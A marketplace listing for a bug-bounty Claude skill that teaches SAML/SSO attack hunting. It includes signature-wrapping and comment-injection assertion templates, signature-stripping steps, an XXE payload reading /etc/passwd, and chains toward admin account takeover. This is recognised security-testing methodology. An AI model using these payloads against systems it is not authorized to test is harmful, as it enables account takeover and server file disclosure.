Claude Skill

hunt-saml

Hunt SAML / SSO attacks. Patterns: XML Signature Wrapping (XSW) — modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID (admin@target.com<!--evil-->@attacker.com → some parsers see admin@target.com), signature stripping (remove S

LLM Mart · 0 points · 18 views 0 listing impressions 0 install-command copies
Virus-scanned Reviewed automatically before listing.

Full trust report

Download elementalsouls-Claude-BugHunter-skills_hunt-saml-1f9cdb6.zip · 3 KB
Part of elementalsouls/claude-bughunter — 83 skills

Install

skills CLI npx skills add https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-saml
Claude Code claude plugin marketplace add https://llmmart.ai/marketplace.json && claude plugin install elementalsouls-claude-bughunter@llmmart
Git git clone https://github.com/elementalsouls/Claude-BugHunter.git

The skills CLI installs just this skill, for any of its supported agents. Claude Code installs the whole elementalsouls/claude-bughunter collection as a plugin from our marketplace. Git is the plain clone.

Skill manifest

20. SAML / SSO ATTACKS

SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.

Attack Surface

# Find SAML endpoints
cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
# Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback

Attack 1: XML Signature Wrapping (XSW)

<!-- BEFORE: valid assertion by user@company.com -->
<saml:Response>
  <saml:Assertion ID="legit">
    <NameID>user@company.com</NameID>
    <ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
  </saml:Assertion>
</saml:Response>

<!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
     App processes the FIRST assertion found = evil. -->
<saml:Response>
  <saml:Assertion ID="evil">
    <NameID>admin@company.com</NameID>  <!-- Attacker-controlled -->
  </saml:Assertion>
  <saml:Assertion ID="legit">
    <NameID>user@company.com</NameID>
    <ds:Signature><!-- Valid --></ds:Signature>
  </saml:Assertion>
</saml:Response>

Attack 2: Comment Injection in NameID

<!-- Attacker registers/controls account: admin@company.com.evil.com -->
<NameID>admin@company.com<!---->.evil.com</NameID>
<!-- Signed canonical form (C14N without-comments strips the comment BEFORE
     digest): "admin@company.com.evil.com" — the value the signature covers. -->
<!-- App's XML processor also strips the comment but only reads the text node
     UP TO the comment boundary: "admin@company.com" — a DIFFERENT effective
     identity than was signed. The discrepancy is the bug. -->
<!-- Works when signer's C14N and app's text extraction disagree on comments.
     CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->

Attack 3: Signature Stripping

1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
2. Delete the entire <Signature> element
3. Change NameID to admin@company.com
4. Re-encode: base64 -w0 saml.xml  (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
5. Submit — if server doesn't verify signature presence = admin ATO

Attack 4: XXE in SAML Assertion

<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<saml:Assertion>
  <NameID>&xxe;</NameID>
</saml:Assertion>

Attack 5: NameID Manipulation

Test these NameID values:
- admin@company.com (generic admin)
- administrator@company.com
- support@target.com
- Any email found in disclosed reports for this program
- ${7*7} (SSTI if NameID gets rendered in a template)

Tools

# SAMLRaider (Burp extension) — automated XSW testing
# BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab

# Manual workflow:
echo "BASE64_SAML" | base64 -d > saml.xml
# Edit saml.xml
base64 -w0 saml.xml  # Re-encode
# URL-encode the result before sending as SAMLResponse parameter

SAML Triage

XSW successful   = Critical (ATO any user)
Sig stripping    = Critical (ATO any user)
Comment injection = High (ATO admin)
XXE in assertion = High (file read / SSRF)
NameID manip     = Medium/High (depends on what NameID maps to)

Related Skills & Chains

  • hunt-ato — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with NameID=admin@target.com in primary position + SP processes first assertion (the evil one) + SP doesn't validate <AudienceRestriction> so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.
  • hunt-auth-bypass — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip <ds:Signature> element entirely → modify <NameID> to admin → re-encode base64 → POST to /saml/acs → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.
  • hunt-oauth — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.
  • hunt-xxe — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without disallow-doctype-decl + <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]> in assertion + <NameID>&xxe;</NameID> → SP renders/logs NameID → /etc/passwd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.
  • security-arsenal — Pull the SAML/XSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml/Xerces/MSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for "SAMLResponse accepted on the wrong endpoint" claims that don't actually validate.
  • triage-validation — Run the Pre-Severity Gate before claiming Critical on a SAML "vulnerability" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.
Files (claude-bughunter)
  • SKILL.md 6.7 KB
    ---
    name: hunt-saml
    description: "Hunt SAML / SSO attacks. Patterns: XML Signature Wrapping (XSW) — modify Assertion while keeping Signature valid by relocating signed element, comment injection in NameID (admin@target.com<!--evil-->@attacker.com → some parsers see admin@target.com), signature stripping (remove Signature element entirely, server should reject but doesn't), key confusion (signed by attacker's IdP, accepted by SP), audience-restriction not validated, replay attack (same Assertion accepted twice within validity window). Tools: SAML Raider Burp extension, samlmagic, manual XML manipulation. Detection: any /saml endpoint, /Shibboleth.sso, /sso/saml/, Microsoft ADFS endpoints. Validate: account takeover via altered NameID, admin role injection via altered AttributeStatement. Use when hunting SSO flows, when SAML AssertionConsumerService is reachable, when chaining IdP-trust to SP-impersonation."
    sources: cve_database, oasis_saml_spec, academic_research, public_research
    report_count: 6
    ---
    
    ## 20. SAML / SSO ATTACKS
    > SSO bugs frequently pay High–Critical. XML parsers are notoriously inconsistent.
    
    ### Attack Surface
    ```bash
    # Find SAML endpoints
    cat recon/$TARGET/urls.txt | grep -iE "saml|sso|login.*redirect|oauth|idp|sp"
    # Key endpoints: /saml/acs (assertion consumer service), /sso/saml, /auth/saml/callback
    ```
    
    ### Attack 1: XML Signature Wrapping (XSW)
    ```xml
    <!-- BEFORE: valid assertion by user@company.com -->
    <saml:Response>
      <saml:Assertion ID="legit">
        <NameID>user@company.com</NameID>
        <ds:Signature><!-- Valid, covers ID=legit --></ds:Signature>
      </saml:Assertion>
    </saml:Response>
    
    <!-- AFTER: inject evil assertion. Signature still validates (covers #legit).
         App processes the FIRST assertion found = evil. -->
    <saml:Response>
      <saml:Assertion ID="evil">
        <NameID>admin@company.com</NameID>  <!-- Attacker-controlled -->
      </saml:Assertion>
      <saml:Assertion ID="legit">
        <NameID>user@company.com</NameID>
        <ds:Signature><!-- Valid --></ds:Signature>
      </saml:Assertion>
    </saml:Response>
    ```
    
    ### Attack 2: Comment Injection in NameID
    ```xml
    <!-- Attacker registers/controls account: admin@company.com.evil.com -->
    <NameID>admin@company.com<!---->.evil.com</NameID>
    <!-- Signed canonical form (C14N without-comments strips the comment BEFORE
         digest): "admin@company.com.evil.com" — the value the signature covers. -->
    <!-- App's XML processor also strips the comment but only reads the text node
         UP TO the comment boundary: "admin@company.com" — a DIFFERENT effective
         identity than was signed. The discrepancy is the bug. -->
    <!-- Works when signer's C14N and app's text extraction disagree on comments.
         CVE-2017-11428 (Ruby-SAML / OneLogin), CVE-2016-5697. -->
    ```
    
    ### Attack 3: Signature Stripping
    ```
    1. Decode SAMLResponse: echo "BASE64" | base64 -d | xmllint --format - > saml.xml
    2. Delete the entire <Signature> element
    3. Change NameID to admin@company.com
    4. Re-encode: base64 -w0 saml.xml  (POST binding = raw base64, NO compression; Redirect binding uses raw DEFLATE — not gzip)
    5. Submit — if server doesn't verify signature presence = admin ATO
    ```
    
    ### Attack 4: XXE in SAML Assertion
    ```xml
    <?xml version="1.0"?>
    <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
    <saml:Assertion>
      <NameID>&xxe;</NameID>
    </saml:Assertion>
    ```
    
    ### Attack 5: NameID Manipulation
    ```
    Test these NameID values:
    - admin@company.com (generic admin)
    - administrator@company.com
    - support@target.com
    - Any email found in disclosed reports for this program
    - ${7*7} (SSTI if NameID gets rendered in a template)
    ```
    
    ### Tools
    ```bash
    # SAMLRaider (Burp extension) — automated XSW testing
    # BApp Store → SAMLRaider → intercept SAMLResponse → SAML Raider tab
    
    # Manual workflow:
    echo "BASE64_SAML" | base64 -d > saml.xml
    # Edit saml.xml
    base64 -w0 saml.xml  # Re-encode
    # URL-encode the result before sending as SAMLResponse parameter
    ```
    
    ### SAML Triage
    ```
    XSW successful   = Critical (ATO any user)
    Sig stripping    = Critical (ATO any user)
    Comment injection = High (ATO admin)
    XXE in assertion = High (file read / SSRF)
    NameID manip     = Medium/High (depends on what NameID maps to)
    ```
    
    ---
    
    ## Related Skills & Chains
    
    - **`hunt-ato`** — SAML XSW with absent audience-restriction validation is the canonical SP-impersonation-of-admin chain. Chain primitive: XSW1 attack relocates signed assertion to a secondary position + injects evil assertion with `NameID=admin@target.com` in primary position + SP processes first assertion (the evil one) + SP doesn't validate `<AudienceRestriction>` so an assertion intended for IdP-A is accepted by SP-B → admin ATO across federated tenant boundary.
    - **`hunt-auth-bypass`** — SAML signature-stripping is the textbook auth-bypass pattern; this skill provides the SAML mechanics, hunt-auth-bypass provides the broader bypass-discipline. Chain primitive: capture valid SAMLResponse → regex-strip `<ds:Signature>` element entirely → modify `<NameID>` to admin → re-encode base64 → POST to `/saml/acs` → SP wantAssertionsSigned=false silently accepts → admin session issued without any cryptographic challenge.
    - **`hunt-oauth`** — SAML-fronted OAuth issuers turn assertion-level bugs into token-level ATO. Chain primitive: SP issues OAuth bearer tokens after SAML assertion validation + XSW alters NameID to admin → SP's token endpoint issues OAuth token bearing admin claims → all downstream OAuth-scoped APIs (admin API, billing API, user-management API) grant admin access from a single forged assertion.
    - **`hunt-xxe`** — SAML assertions ARE XML; XXE in the assertion parser is a separate chain on top of XSW. Chain primitive: SAML parser without `disallow-doctype-decl` + `<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>` in assertion + `<NameID>&xxe;</NameID>` → SP renders/logs NameID → /etc/passwd contents leak in error response or audit log → file-read primitive on SAML SP infrastructure.
    - **`security-arsenal`** — Pull the SAML/XSW Payload Catalog (XSW1-XSW8 templates, comment-injection variants for libxml/Xerces/MSXML parser differences, signature-wrapping with multiple Reference elements, key-confusion payloads where attacker-IdP-signed assertions are accepted by trust-naive SPs) and the always-rejected list for "SAMLResponse accepted on the wrong endpoint" claims that don't actually validate.
    - **`triage-validation`** — Run the Pre-Severity Gate before claiming Critical on a SAML "vulnerability" that only modifies non-security-relevant attributes (display name, locale) without altering NameID, AuthnContext, or role-bearing AttributeStatements. Theoretical XML manipulation that doesn't cross an authorization boundary is Informational, not Critical — the auth-decision-changing step is the gate.
    

Comments (0)

Sign in to join the conversation.

No comments yet.

Reviews (0)

No reviews yet.

Related